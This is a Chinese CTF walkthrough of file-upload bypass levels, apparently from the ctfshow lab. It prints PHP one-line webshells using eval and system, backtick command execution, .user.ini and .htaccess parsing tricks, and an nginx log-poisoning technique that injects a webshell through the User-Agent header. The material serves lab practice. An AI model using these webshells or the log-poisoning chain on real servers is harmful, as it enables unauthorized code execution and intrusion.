文件上传知识点
1、检测层面:前端,后端等2、检测内容:文件头,完整性,二次渲染等3、检测后缀:黑名单,白名单,MIME 检测等4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
过关解析
前两关是前端校验直接修改就行,一个是抓包绕过一个是修改mime类型
--------------------
第三关php后缀不行,尝试phP后缀是下载,尝试多后缀解析,php5不行,或者phtml,最后使用.user.ini文件解析
apach是.htaccess绕过,nginx是.user.ini
----------------------
第四关检测内容,使用短标签绕过
过滤了<?php使用
<?=@eval($_POST['x']);?>
---------------------
第五关检测内容,使用{}
过滤了[]
使用<?=@eval($_POST{'x'});?>
------------
过滤了{}
<?=system('tac ../fl*')?> #直接使用system函数去读取fl开头的文件----------------------过滤了这个()符号
``使用运算符绕过
<? echo `tac /var/www/html/f*`?>---------------------------过滤内容很严格使用user.ini包含test.png,png中包含nginx的日志文件,日志文件中记录的ua头是可控的,只需要访问网站的时候把ua头修改为一句话即可。.user.ini:auto_prepend_file=test.pngtest.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>---------------------------------
user.ini 使用思路
.user.ini内容写包含的图片木马,但是访问的时候要访问一个调用.user.ini的文件,在ctfshow靶场中是访问index.php,也就是upload/目录
包含nginx日志文件使用思路
有点两种包含的意思 访问调用user.ini文件也就是upload--------->调用user.ini文件,user.ini调用test.pn,test.png调用日志文件,从而访问uplad就是访问日志文件test.png内容,这里为了过滤截断拼接了,其实就是include"/var/log/nginx/access.log"user.ini内容访问upload,发现内容有ua头ua头可控,随便访问一个目录,这个无所谓,host正确即可,然后ua头设置成一句话再次访问upload发现说x变量内容没有声明获取flag总结:使用条件就是需要能文件包含,只要能包含到日志文件即可,或者能目录穿越访问到日志文件也行,否则没用。这种手法是通用的,其他的中间件拥有日志记录功能的也可以利用;